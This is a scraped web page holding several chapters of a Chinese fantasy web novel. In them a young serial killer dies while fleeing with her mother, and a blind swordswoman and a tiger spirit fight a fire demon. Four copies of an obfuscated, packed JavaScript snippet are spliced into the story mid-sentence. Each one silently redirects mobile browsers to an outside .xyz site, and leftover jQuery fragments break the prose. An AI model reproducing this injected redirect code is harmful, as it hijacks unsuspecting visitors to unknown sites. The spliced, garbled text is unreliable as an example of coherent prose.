;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811652|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出几个字句,“你是……杀我儿……”
她笑了笑。
“是我。”她用他身上的衣裳擦了擦刀,“我本来还在想如何接近你,但不曾想过你就这么送上门来……”
“铛!”
杀手猝然一惊,就见何远山从衣襟里掏出个手指大的玩意,狠狠往地上一摔,其声尖锐嘹亮,堪比大钟,不必深思都知道会吸引来多少人。
“来人!有刺客!”他拼尽全力吼叫,紧接着传来隆隆脚步声,“杀了她!”
杀手无暇补刀,转身便逃。只是何府本身就不大,又尽是些屋舍怪石,着实碍事,瞬息间她就被射中一箭。她咬紧嘴唇,忽的凝神静气,静静站在廊柱之后,那些追捕过来的家丁竟像是看不见似的,径直从她身边过去了。
她抓紧时机,逃出了何府。
街上静悄悄的,零星有人家亮起了灯,那是早起起来为虎神祭准备祭品的。天上闷云滚滚,隐约有雷声轰隆。她不敢在外面多待,怕遇上打更人,一头钻进小巷里。
青石砖有些潮湿,走起来啪嗒啪嗒响。
太黑了,什么都看不清,她只能凭借自己的记忆往前走。
左拐……直行……右拐……
“你要去哪?”
忽然有人问。
她骤然停步。
是谁?
声音是从身后传来的,女声,很平静,不带一点杀气。
她慢慢回过头。
背后站着一个白衣人,眼上覆着布巾,手中握着竹杖,肩上还扛着只猫。她认识她,就是她在傅必先的死亡现场一眼认出了她,她花了点功夫才逃脱。
可现在她为什么又出现在这里?
“你应当杀过不少人。”白衣人歪了下头,“真奇怪,居然没有全染黑。”
杀手没听懂她什么意思,下意识紧绷起身体,“你要干什么?”
“我只是很好奇。”白衣人说,“你为什么要杀傅必先,又为什么要杀何家荣?”
杀手上下打量她。
“没有原因。”她冷声道,“要杀要打随你,别在这里说些没用的废话。”
“既如此。”白衣人慢慢抬起手中竹杖,“那我便来请教请教。”
杖出如龙!
杀手只是凭借一点异于常人的能力和本身聪敏才能杀人,在武道上水平着实一般,当即有些慌神。她勉力躲过第一下,却恰恰好被竹杖拍在小腿上。这力道非同小可,腿上立马腾起火烧似的疼,咕咚一声单膝跪了下去。
“你……”她额头上渗出些冷汗,略显狼狈地在地上打了个滚,“何必如此戏弄我!”
第一下她就察觉出来了,这白衣人分明有能力直接杀了她!
“我对杀你没兴趣。”白衣人垂首,“我只想知道,你究竟为何杀人?”
杀手从胸腔里挤出点嘲弄的笑来。
“还能有什么原因?”她说,“无非就是情、仇、怨而已,追根究底有什么意义?”
白衣人抿唇。
“既然多说无益。”她缓缓道,“那便别怪我手下不留情了。”
37. 虎神(十六)
那是小桃这辈子第一次见到“剑气”。
她也是第一次知道,原来不仅剑可以挥出剑气,普普通通一根竹杖也能办到。
背上和腿上都一动便剧痛无比。她小心翼翼地挪动腿脚,跌跌撞撞向前走,不时还要回头看看是否有人追上来。
没有人。那个鬼神一般的白衣人被她甩掉了。
小桃心中松了口气,再次庆幸起当年许的那个愿望。此时已近丑时,云堆得仿佛能掉下来,空气里满是雨前的泥土味。她摸了摸怀中藏着的刀,再次下定决心,继续往家里的方向走去。
她家在城北,是丰城最贫穷最动乱的地方。
坊子已经落了锁,但她知道靠近城墙的地方能爬树翻过去。她强忍着痛苦,一点点爬上树枝,嘭咚落地,只觉得脚腕刺痛。
她一瘸一拐地往家走。
大门很旧,门闩也坏了,里面只能系绳子,以她的身材能轻而易举地从缝隙钻进去。里面黑漆漆的,悄无声息。她放轻脚步,恰在此时闷雷滚动,盖住了开门的声音。
一道闪电刹那间雪似的映亮满屋。
屋中有人。
两个。一个站着,一个趴着。
惊雷在耳边炸开!
“娘?”小桃愕然开口,“你怎么……”
站着的女人猛然回过头来!
她身形清瘦,面容苍老枯槁,头发如一蓬乱草般黑白交杂,手中握着块石头。见到小桃她又惊又喜,瞬息间眼中便漾起泪花,“你回来了……你回来了……”
她噗通一下坐在地上,胳膊不住发抖,“你爹死了……我把他杀了……”
那块石头骨碌碌滚出去,带出一溜血印。
小桃这才注意到地上一动不动的人正是她那罄竹难书的爹,顾不上这个,她慌忙疾步冲到她娘身边,一把握住她干树皮似的手,“我不是送你去桃花源了吗?你怎么回来了?”
若是君无岐在此处,她一定会发现,这就是那个跪在打谷场上的女人。
“小桃,娘的好孩子,娘知道你想干什么。”她娘抬手摸她的脸,“弑亲是大罪,死后要下十八层地狱的呀……娘不怕,娘替你解决他……”
“我怕什么下十八层地狱。”小桃紧紧抱着她娘,“你傻呀,我都杀过那么多人了,再多这一个我也不怕。你可是清白的!”
她娘止不住地掉眼泪。
“小桃,娘的好孩子,你身上怎么这么多血?”她借着闪电,看清手上染着一抹猩红,“你受伤了?在哪?快让娘看看!”
小桃急忙一背身。
“我没事,娘,你看错了,那不是我的。”她感觉到伤口裂开,正在源源不断地向外渗着血,“天亮就是虎神祭了,知州再怎么专横也不可能阻止人们出城去祭拜虎神,到那时我们就混在人群里,去桃花源。”
她这句话刚刚说完,就听到外面啪的一个炸雷,瓢泼大雨顷刻而下。她娘打了个颤,情不自禁地收紧手中力道,“好,娘都听你的。”
小桃吃痛,却不曾表现出半分,一迭声地催促她去收拾家中屋什。说是收拾东西,其实这小破屋中也没什么值钱玩意,顶多也就摞些锅碗瓢盆,背在背上罢了。
惊雷一个接一个地滚过。
桃娘花了些功夫才把所有想带的东西都带上,打成个包袱,牢牢系住。她收拾妥当后慌忙回到堂屋来找小桃,霹雳雪亮,映得屋中只有趴着的一人。
可那分明不是她那该死的夫。
“小桃?小桃!”她尖叫着扑过去,急忙把她扶起来,“你怎么了?睁开眼看看娘!别吓我!”
地上那块石头犹在滚动着,新鲜的血滴滴答答,渗到泥地里。她在雨声的间隙里听到大门似乎响了。哗啦啦,哗啦啦。
那一刻,火焰遮住了她的眼睛。
桃娘毫不犹豫地抓起石头,指缝间滑滑腻腻,几乎要握不住。她像头愤怒的母狮般径直撞开屋门,冲到大雨中。大门口有人半趴在那里,正抬手试图解下绳子。她想也没想就冲到那身影身边,高高举起手中凶器。
砰!砰!砰!
一下,两下,三下。
她一声不吭,只是喘着气。
那人又趴了下去,整个脑壳几乎被砸得稀烂。血混着雨往他身下淌,洇开一片深色水渍。泥土和水的腥味中隐隐又透出另一种其他味道,更蛮横,更残忍。她知道,那其实是愤怒的气味。
他现在好像她们。曾经的她们。在他的乱拳下竭力苟活的她们。
只是这阴影现在终于消失了,可没有人会关心。
她狂奔回屋里。
小桃还在喘气,只是很微弱,很轻,好像她还很小很小的时候,她在她眼里又变回了一个刚出生的婴儿。桃娘找到件半新不旧的蓑衣,还有卷绳子,把小桃绑在自己背上。
“别怕,别怕。”她喃喃,“娘带你去桃花源。”
她别的什么也没带,径直奔入雨中。
小桃的手垂在她胸前,轻轻晃动着。
打更人的敲锣声远远响起来,一下,两下,三下,四下,马上就要到开城门的时间了。人群默不作声的聚集起来,向着同一个方向,那里是城门,她就这么混在其中。她似乎看到一个白色身影,有些熟悉,可根本想不到那么多了。
“开门,快开门啊。”桃娘在心中默念。
小桃在她背上,勉力睁开眼睛。
“娘……”她的声音小小的,“我们要去……”
“桃花源,我们去桃花源。”桃娘神经质地重复着,“别怕,小桃,娘保护你,一定能好,一定能。只要到了那里,只要到那里……”
小桃其实听不清什么声音了。
她想起她杀过的第一个人。
是个住在隔壁的无赖。
那人天天游手好闲,在城北的坊子里到处乱窜,见到大姑娘小媳妇就出言轻薄,所有人都讨厌他,包括小桃。当时她刚及笄不久,爹是个离了酒不能活的烂赌鬼,经常不着家,家里只有她们娘俩在。
他半夜来敲她们家的门。
娘被吓得魂不守舍,她一直是个很胆小的女人,否则也不会被她爹打了这么多年也不和离,她害怕。小桃也怕,但她得保护娘,所以她提着门闩坐在家里,学着爹曾经打她们时的样子,当看到那无赖翻墙进来时,毫不犹豫地一棒敲了上去。
他当场就断了气。
小桃后怕得不知如何是好,倒是这时候她娘镇定了下来,问她,“还记得我以前怎么教你的吗?”
她忽然就懂了。
这是她们代代相传的秘密,她们知道该如何处理血。
于是她们合力把那尸体搬到坊子的水沟旁,假装他是走路跌倒撞到了石头上,然后回家把浸了血的衣服泡在水中,最后看着污水慢慢渗入泥下。一切都如同什么都没发生。
也的确如同什么都没发生。那尸体搬到了义庄,之后便再也没有消息,日子该怎样过还是怎样过。
只有小桃好像变了。
她忽然开始有意识地打量别人,观察那些容易一击致命的地方,比如后脑,比如脖子。她常年帮家里做活儿,力气很大,而且她有张普通的脸,混到哪里都不会引起别人注意。她总是反复回想那一天晚上发生的事,尤其是门闩砸下的那一刻,那一瞬间她好像
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815976|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
全身的血都燃烧了起来,沸腾着,爆发出不甘寂寞的尖叫。
她得……做点什么。
娘似乎察觉到了什么,带她去了虎野泽,她们在那棵大榕树下祭拜。当额头抵着泥土的那一刻,小桃忽然在心中想,她到底想求什么呢?
她求……不被发现。不被任何人发现。
她的愿望成真了。
第二次是她自己选择的目标。
小桃选了某个夜晚故意留在坊外,假装躲避宵禁,敲开了米粮店的门。
老板上下看看她,露出一个好似心知肚明的微笑,“进来。”
小桃进门时悄悄锁上了门。
这次她用的是刀。
当她看着鲜红的血从男人身体里汩汩流出,逐渐淌满地板时,终于再一次体会到了那种兴奋,那种仿佛全身器官都在一并鼓噪的冲动。她把手用力按在米粮店老板的嘴上,感受着他最后的微末的挣扎,直到血管的跳动渐渐平歇。
她在米粮店的后院里处理干净了衣服,悄悄翻回坊子。
就和以前一样生活。
但并没过多久,她再次怀念起那种手感,那种令人头脑发昏的兴奋。但这次出门前娘好像发现了什么,拉住她的手,“小桃,你要上哪儿去?”
小桃望着她的眼睛,轻轻拉下她的手。
“没事,娘,我就是出去一趟,一会儿就回来。”她甜蜜蜜地笑着哄她,“不用担心我。”
后来她曾经回想过无数次那个场景,她想过如果那时就能克制住自己,是不是就不会发生后面的事,但是万事都没有如果。她这次带齐了工具,有绳子,有手锯,选择的地方则是栏子里,那里鱼龙混杂,不会有人注意有个陌生面孔。她迫不及待地做出些更大、更血腥的事情,她要所有人的目光都凝聚在她身上,好像就能借此说明她不再是那个沉默寡言,备受欺凌的小桃一样。
她选了个看起来就不喜欢的中年男人,把他倒吊在柳树上,放干了他的血。
回到家时她仍在洋洋得意,以为自己做了件多么大的事,可家里的景象令她始料未及,爹正在打娘,用木棒,用绳子,用一切他能抓得到的东西。她以为自己终于有勇气能来面对他了,但事实证明不是。她依然对此感到恐惧,只敢冲过去抱住娘,任由雨点般的拳头落在自己身上。
爹打累了,走了。
她不敢面对娘的眼睛,假借其他名义又跑了出去。她需要再回一次河边,她要看到那具尸体,好像这样就能找回她已经丢失的自尊。但更令她想不到的事情发生了,有人竟然一眼就认出了她。
她如老鼠般狼狈逃窜,最后用了无人看见的能力才摆脱那个可怕的白衣人。她一刻都未多等,跑回家里找到母亲。
“娘。”那一刻她觉得自己溃不成军,如此软弱可怜,“你得离开这里。”
长久的沉默过后,她同意了。
她们一起去了大榕树下,在那里遇到了一个人,叫做秋慧。
她说她可以带娘去一个地方,叫做桃花源。
那是个好地方,只有女人,没有男人,大家其乐融融地生活,各自有工作和职责。没有歧视,没有排挤,也没有暴力。所有人都能吃饱。
娘很心动,要和她一起去。
小桃同意了,但在最后一刻又反悔了。
“我得解决一个人,就一个,最后一个。”她小声说,“我会来找你的。”
娘并不惊讶,只是用一种很悲伤的眼神望着她。榕树的门关上了,她又回到丰城。
她要杀了她父亲。
她要亲自解决她的噩梦。
她们的噩梦。
38. 虎神(十七)
世间万物总是事与愿违。
譬如桃娘一直以来都想与丈夫和离。譬如小桃根本不想做那么多繁杂的工作。譬如她们想挣点钱离开丰城去更好的地方居住。譬如她们根本不愿意为祭拜虎神奉献那么多钱财。
可偏偏最后,不想祭拜的虎神实现了她的愿望,庇护了她的母亲。爹娘至死也都没有和离。小桃本来想在家中等待父亲回来,可偏偏她又看到了那个白衣人。
她一剑捅穿了知州家的那个胖儿子,还对知州的话置若罔闻。
小桃本来按捺下去的心脏再一次疯狂跳动。
那是她做梦都想成为的样子,强大,恣意,所有人的目光都聚在她身上。即使她最后逃跑了,仍然让知州念念不忘,愤恨不平,甚至为她下了全城的通缉令。
小桃清楚地察觉到自己在失控。
再做一次,再做一次,这个念头疯狂地缠绕着她。
她要杀了何家荣,不,不只是何家荣,她还要杀了何远山,她要让这父子都死在自己刀下,她要让所有人都听到她的名字,知道究竟是谁能做出如此惊天事迹。她为那样的幻想而感到战栗,似乎鼻端又能闻到鲜血的气味。
她甚至想过自己被捕后究竟会引起多么大的反应。一想到所有人都震惊于竟然是她一个普通女子犯下如此惊天罪过时,她便激动得无法自拔。
于是夜半时分,她悄悄潜入了知州府。
何家荣死时还念叨着他那条大黑狗,想必他一定不知道,他的狗已经被知州下令杀了吧。
罪名是,“护主不力”。
这一家人真是太有趣了。
看到丰城整个封闭时,她悠闲地心想。
目标只剩下一个了,何远山。只要再杀了何远山,她就可以……就可以真正面对自己的心魔了。
小桃的手指轻轻抽动一下。
雨仍在下着,像河从天空流淌到地面,浇在每个人身上,淋湿小桃的头发,又顺着缝隙钻到衣服里。桃娘没有察觉到,她焦急地望着城门,嘴唇不住颤动。门已经开了条缝,可人群走得如此之慢,简直举步维艰。如果有人此时在半空中从上往下看,就会发现人群好像溃堤前的蚁群,密密麻麻,每个人都身挑重担。
轰隆隆!
城池深处奔出了些人,正在大声叫嚷着什么,恰恰巧被雷声掩盖过去,人群中产生了些骚动,有人想回头看清发生什么,而有人急着出城前往虎野泽,场面一下子乱成一锅粥。守门卒想把人群驱散开,好把大门关上,可人实在太多了,门关只能以极慢的速度缓慢合拢。桃娘意识到了什么,她明白此时绝对不能被困在城中,于是她拼尽全身力气,不顾一切地向前挣扎。
她成功从门缝里挤了出去。
城门在她身后关上。
如同昆虫脱离蛛网,如同箭矢飞离弓弦。她冲向城外。
向着虎野泽。向着永恒的春天。
大雨眼泪般落下。
湿润的泥地极其泥泞,每走一步都仿佛大地有吸力。她的鞋被甩掉了。赤脚踩在地上。厚厚的茧让她根本察觉不出痛楚。春天的麦田是拔节的时候,麦叶细长锐利,像一把又一把小刀,割开她的皮肤。她是个瘦弱的女人,平时去水井中打水都要花费好一番力气,可现在背着一个人却仍然健步如飞。水模糊她的眼睛,她不知道那是泪还是雨。
“快点,快点……”
她听到自己的喘息和念叨混作一团。
哗啦啦,哗啦啦。
雷声中混杂着鸟类尖利的叫声。
有什么东西从半空中猛然扑下,随即不可抗拒的巨力将她整个人甩了出去,腰腹部刹那间开了个几指长的伤口,血刚渗出来就被雨冲淡了,地上盛开一片粉红。桃娘滚了一身的泥水却顾不上去擦一擦,而是慌忙去找抛到一边的小桃。小桃静静躺在那里,眼睛半睁,一动不动,好像睡着了。
“小桃,小桃。”她抱起女儿,再一次把她放到背上,“我们走,我们走。”
绳子断了,她固定不住小桃的身体,一次又一次滑下。于是她就把小桃抱在怀里,就像她还很小的时候那样,把她的头放在自己肩上。她的脸冷冰冰的,鼻尖轻轻碰着她的颈窝。她就这么继续往前跑。
她又一次听到了风声。
但这一次迟迟没有传来剧痛,身后响起铮铮的声音,似乎是有人正在与那只怪鸟搏斗。桃娘顾不得回头看一眼,她马上就到虎野泽了,大榕树巨大的冠伞在雨中现出迷蒙的轮廓。有人正站在树下,遥遥往这边看来。
她狂奔到那人身边。
是秋慧。秋慧还是那副打扮,只是神情很冷淡。她毫不犹豫地跪下,让小桃枕在自己腿上,虔诚抬头,“救救她,求求你救救她!”
秋慧低头看了一眼。
“她死了。”
她说。
桃娘又哭又笑,竭力贴着小桃的脸,但她始终没有再睁开眼睛。她想再求求虎神,可实在没有力气了,于是就这么歪歪斜斜地靠着树干。小桃的手很冷,她用力抓着想暖热,但无济于事,她后来才发现原来自己也在变冷。
榕树下水声汩汩。
秋慧没有再看她们。她走出树冠下,看到一团火似的影子,有个白衣人正在与之纠缠,她记得那个人自我介绍叫齐君。她抓紧手中长矛,仰头长啸一声。
“吼!”
秋慧不见了,橙色火焰在树下凝聚,蔓延出条条黑色斑纹,最终化为一只体长接近一丈的巨虎。巨虎毛发怒张,长尾如鞭,毫不犹豫地朝迦楼罗狂奔。
水花飞溅。
君无岐正在争斗中落了下风,理由很简单,她没有合用的剑,也无暇用符,此时略显狼狈。巨虎一路狂奔而来,逮到个合适的机会,张开大口,一口咬了上去!
半空慢悠悠飘下几根鸟毛。
迦楼罗受惊,拍打着翅膀飞上天空,捂着受伤的手臂狞笑,“又来了个送死的。正好,都一并给我吃了!”
虚幻的金色莲花在他身周狂舞。
“拿命来!”
金色莲花凝结成一柄顶天立地的巨斧,从半空中重重砸了下来,径直落入湖中,掀起一丈多高的水花。湖中生灵受了惊,噼里啪啦一阵乱游,浮起数条肚皮翻白的鱼。波浪滔天,大地撼动,就连远处的丰城似乎也察觉到了什么,聚集在城门前的人们惴惴不安。
“出什么事了?”
“莫不是虎神生了气?”
“开门!开门!让我们出去!”
“开门!”
守门的城卒满头大汗,几乎要压不住愤怒的人群,慌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822705|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忙去找自己顶头上司,上司一副苦相,只是告诉他,“不能开门!死都不能开!”
“可人群实在激愤,我怕出什么事……”
“出什么事都不能开!只要开了门他们出去就得死!”上司似是想到什么,神色很难看,“疏散他们,有闹事的统统抓起来!”
城中人潮如浪。
“开门!把门打开!”
“开门啊!”
街道尽头驶出一辆马车,有人站在车前,叉手高喊,“知州有令!开城门——”
“快开城门——”
城墙上几人汗出如浆,守门卒两股战战,再承受不住此等压力,几乎要滚下去开门。还是上司一把拉住他的衣领,面带恐惧,厉声叫嚷,仿佛也在说服自己似的,“不能开!”
“但眼看就要激起民愤了,若是发生冲突,我们谁都吃不了兜着走!”
“你看看下面,这么多人,要是出事……”
几人围着上司七嘴八舌的劝说起来,他也有些动摇,不住从城墙上往下看,“要不,要不还是……”
“别开门!”
街道旁边小巷里忽然冲出一个少年。
她身后还跟着个穿绛红短打的女子,几步奔到马车前,翻身上车,一把拽住缰绳。
她胳膊上肌肉隆起,额头青筋绽开,脸色通红。马被猛然勒的前蹄扬起,被迫停下。车前之人猝不及防,啪的摔倒在地,差点从车架上滚下去。
“你是何人?竟敢拦知州的车,不要命了!”他狼狈站起,勃然大怒,“还不速速退下!”
“知州已死,你传的是谁的令?”关惊澜冷笑,“假冒朝中官员你知道是什么罪吗?还敢在这里狗吠!”
那人语塞。
“我却要看看,这里面是谁!”关惊澜握紧刀鞘,唰地挑开车帘。
车中流苏颤动,空无一人。
关惊澜脸色一变。
“糟了,她跑了!”她一把甩开车帘,转头找秦二娘,“二娘,你去城墙上,决不能让他们打开城门。我去追陈青黛!”
秦二娘点头。
两人立刻分头前行。
她狂奔上城墙,拦在长阶之前,“不要开门!”
“你是?”上司有些意外,“啊,之前给我送消息的人。我知晓你的顾虑,但今天是虎神祭的大日子,情况你也看到了,群情激愤,若不让人们出城,怕是要出大事。”
“我知道长官难做,可为了民众百姓的性命,切勿开门!”秦二娘飞身来到城垛旁,抬手一指,“您看那边!”
雨中有一点火红翻飞。
即使是隔着如此远的距离,也能看到湖中波浪滔天,三条身影缠在一起,激斗正酣。秦二娘浑身淋的湿透,面向他们时情真意切,句句诚恳,“那团红影是西域来的吃人妖物,此前一直在城中潜伏,虎神花了些功夫才将他引到城外。若是这时开了城门,那不就是把百姓送到他口中去吗?”
几人面面相觑。
“既然如此,便听你的罢!”城门卒咬牙,“只是一会若是闹将起来,你可得帮我们拦住人群!”
“自当如此。”秦二娘二话不说应承下来。
她遥遥望着虎野泽,心中忧虑。
君姑娘,你一定要撑住啊!
39. 虎神(十八)
君无岐此时不太好。
她手中竹杖被削掉一截,右臂受了点轻伤,雷雨声又极大地影响了听力,以至于应付得有些左右支绌,万幸还有秋慧在,帮她分担了大部分压力。
天地灰暗,雨珠飞悬,发丝如弦。
“你二人今日休想活着出去!”迦楼罗猖狂大笑,“甚么虎神,不过是只畜生罢了!”
远处人声渺渺,身侧急喘声紧,君无岐侧身避过迦楼罗飞掠一爪,迭声急问,“慧姐,有没有剑?”
刹那间半空霹雳惊闪。
秋慧纵身飞跃,坛口大小的虎掌重重拍下,奈何被迦楼罗生生拔起一躲。她扑击入水,长鞭似的虎尾在湖面泼剌剌一扫,扬起漫天水花,趁迦楼罗无暇顾及的时候人影一闪,朝她飞去一把长矛。
“这是我幼时断齿所化,且拿去用!”丈长巨虎怒声咆哮,“今日必得诛杀此妖!”
长矛破雨杀风而来。
雨丝细密如珠帘,恰有一片红羽坠落,被矛头刹那洞穿,破贯而出。君无岐劈手握杆,入手只觉坚冷一坠。她踏踏踏于水中倒退三步,长矛身流形变,铿然化作一把长剑。
而在此时,红羽的残骸才初初飘落水面。
滴答。
一滴雨从云层中坠下。
啪!
长剑似风飞起,斩得天地暴雨为之一停。迦楼罗躲避仓皇,只能生生受这一剑,漫天碎羽夹着血珠喷溅而出,恰如雨帘染色,落红飞漫,就连秋慧都忍不住愕然回首,差点忘记自己还在酣战之中。
昏暗天地之中,白衣人左手握剑,衣摆猎猎。
风揉过湖面,把倒影拨碎,又拂起她的眼纱和长发。君无岐举起剑,锋面清亮,映出一段唇线如血。剑尖斜指向上,所对之处,正是高飞在上的迦楼罗。
“你!”他大怒,满面火似的红羽翕然抖动,“以为同样的手段我还会再中第二次吗?找死!”
三对丈长金翅镲然张开,羽毛撞击之时有金玉之声,漫天金色莲花在他手中汇聚,化成一张人高的大弓,弓弦之上每根大箭都有酒杯粗细。迦楼罗搭弓闭眼,睁开的那只瞳孔紧缩,极尽冷酷,箭头寒光闪烁,对准了君无岐头颅。
若这一箭中,她必死无疑!
他松开手。
绷!
箭出!
秋慧仰面怒吼,四爪踏水,飞溅起尺高浪花。她欲回头相救,可显然已经来不及了,爪尖只堪堪挨中大箭尾羽,擦出一道白痕。大箭去势不改,悬河注火,电光火石间,直指君无岐!
铿!铿铿铿铿!
雨中火星狂舞!
大箭力逾千钧,生生顶弯长剑剑身,与君无岐的鼻尖仅有寸许之遥。她神色丝毫未变,身体却已被推出数尺远,擦出两道雾似的水墙。这剑不愧是由大妖之齿所化,面对如此重压竟还能分毫不显疲态,甚至还能容许她肩动臂转,哗啦一下抖开箭头,镲然斩断箭身!
但箭还未射尽。
弓弦颤抖,弓臂挤压到了极致,拧出一道不堪受力的啁哳长音。三根大箭同时搭在弦上,如野兽的三只眼睛,一并飞射而出!
巨虎四爪腾空,飞身跃起两丈有余!
虎口衔住一箭,尖锐齿尖吭哧咬穿箭身,箭尾犹自颤动。她顺势甩头,断箭与爪垫一并落水,哗啦腾空数幕帘似的水花。而剩下两箭一上一下,一前一后,正对准了君无岐面门与心口,穿破雨幕而来。
白衣人猝然后仰!
雨湿重衣,勾出一把窄而有力的腰,恰似风中蒲苇,又如水落青荷,一箭哗啦钉入水中,遍寻不见,另一箭紧随其后,恰在她起身之路上。长剑割水而出,剑锋滑过箭头,竟竖着将它一分为二!
上半截乱了路线,力道仍在,倏然擦过她的鬓边。
哗啦。
长发散落。
君无岐上身弹起,发丝湿透,甩出弥天水珠。几缕额发垂下,落在颊边,黑得惊人,与面孔一衬,愈发黑白分明。
迦楼罗拍打金翅,卷起带水的风。他面带不甘,恨恨道,“这竟都杀不死你!”
狂风呼啦吹过,扬起君无岐的长发,如旗如缎。她哑然失笑,抬剑,“我曾弄死过你一次,难道还会怕第二次?”
一滴雨坠落剑锋,映出她的影子。
楚楚谡谡,渊渟岳峙。
“竖子狂妄!”迦楼罗大怒,“看我不将你撕成碎片!”
他拍打翅膀,欲要高飞而起,然而刚刚飞到一半便觉腿上一沉,低头一扫,竟挂着个不知从何而来的纸人。
纸人怕水怕火,而这只却有所不同,雨泼而不湿,甚至还能拽着他往下一拖。迦楼罗猝不及防,被这力道一带,差点扑成个落汤鸡,登时心头火起。
“我竟不知你还会如此歪门邪术。”他咬牙,“看招!”
这鸟人除六臂六翅之外,两条腿也是鸟类的爪钩模样,寒光赫赫,削铁如泥,不过几下就把纸人撕了个粉碎。他目含杀气抬头,浩茫湖面上却只有巨虎,不见君无岐。
人呢?
迦楼罗忽感脊背一凉,心有所感,嘭棱棱敲铁声一响,所有羽毛尽数炸开,拍打着翅膀就要向上飞。可为时已晚,巨虎腾身飞跃,半空中爆出云散雾飘似的水花,将他彻底拢住,而在那迷蒙视线之中,正有一人执剑杀来!
她飞起的位置甚至更在他之上。
剑锋如雪,悬破天河倒流!
铮!
天地为之一静。
那一瞬间迦楼罗几乎以为自己已死,耳中尽数只有剑光划破之音,恰如银瓶乍破,珠滚金盘,一切都仿佛是知州府中那一日的重现,只是更肃杀,更浩荡。
“啊。”他听到自己最后发出一个字不成句的单音。
红羽金翅在半空中爆裂。
碎片霎然如雨,向四面八方炸开,在水面上泼下成千上万血点,又缓缓漫开汇聚成一大片,被雨点打碎。巨榕在剑风中狂抖不止,飒飒落叶,堆满树下之人的肩头。而在此时君无岐才刚刚落地,紧接着踉跄了一下。
“咳!”
她抹了下嘴角。
“可是力竭了?”秋慧走到她身边,“上来,我背你去桃花源里歇一歇。”
“不。”她缓缓摇头,“望”向半空,“还没结束。”
云霭下,雨丝隐约勾勒出一个身影。
六翅,六臂,鸟身,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14826544|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色泽如火。
“他竟还未死?”秋慧震惊道,“究竟是哪里来的妖孽,有如此之强的生命力……”
君无岐侧耳。
“惊澜她们要拦不住城门了。”她说,“必须尽快解决它!”
城中。
“不行!人越来越多了!”守门卒头发黏在脸上,衣领里灌得全是水,“城门要顶不住了!”
“方才那人喊的那句被听到了。”他上司站在一旁,脸色苍白透青,“知州知州,知州死了怎没人听见!”
“是几个人在带头闹事。”秦二娘快语道,“一定是陈青黛安排的。这西域来的劳什子恶教,真是害人不浅。”
他们派了人去衙门求援,但现在这状况紧张至极,又适逢最大的上头惨死,谁都不肯出面揽这个麻烦,也因此自始至终城门就这几个人还在试图力挽狂澜。人群中也不是没有明白人,只是零零散散不成气候,嗓门也比不过早就设置好的大喇叭,只得先顾好自己再说。
“那边如何了?似是结束了。”上司眯眼看向虎野泽,“看不见那鸟人,是不是能开门?”
秦二娘牢牢记着君无岐奔出城外前的叮嘱,摇头,“不可。我们之前说好,能开门时她自会示意,现在战况未明,若是那妖怪就等有人前去进补……”
“好了好了,我已知晓,勿要再说。”上司打了个寒战,“也怪我们城中北门不成气候,否则何至于此。”
丰城地处大平原,周围有湖没山,妖怪不爱在此处居住,久而久之,城中济安镇正司便也形同虚设,尽是尸位素餐之人。
正当几人站在城墙上祈祷战局赶紧结束之时,忽然马蹄声响,一辆马车碌碌驶来,遥遥停在人群之外。
上司简直要对这个动静过敏了,“又是什么人?!”
车帘掀开,下来的竟然是傅秀善。
她还穿着丧服,额上束白绸,面色憔悴,左右张望似在找什么人。秦二娘急忙下墙,前去问她,“傅小姐,你怎么来了?”
“你是?”傅秀善不认得她,面露迟疑,听得她是关惊澜下属后顿时两眼一红,几乎要落泪,“太好了,我终于找到你们了,关姐姐在哪里?”
“少镖头有事不在,你同我说也是一样的。”秦二娘软下口气,“只要我能办到,必当竭力而为。”
“我兄长不见了!”傅秀善拉着她袖口,仓皇道,“昨日我与他大吵一架,又发生了点意外,便再也没见到他。我本以为他是在怄气,可左等右等,去他屋中也找不见人!现在城中动荡,还有他人窥伺我家宅院,我实在怕他出事。姐姐,你若有空,帮我寻一寻可好?”
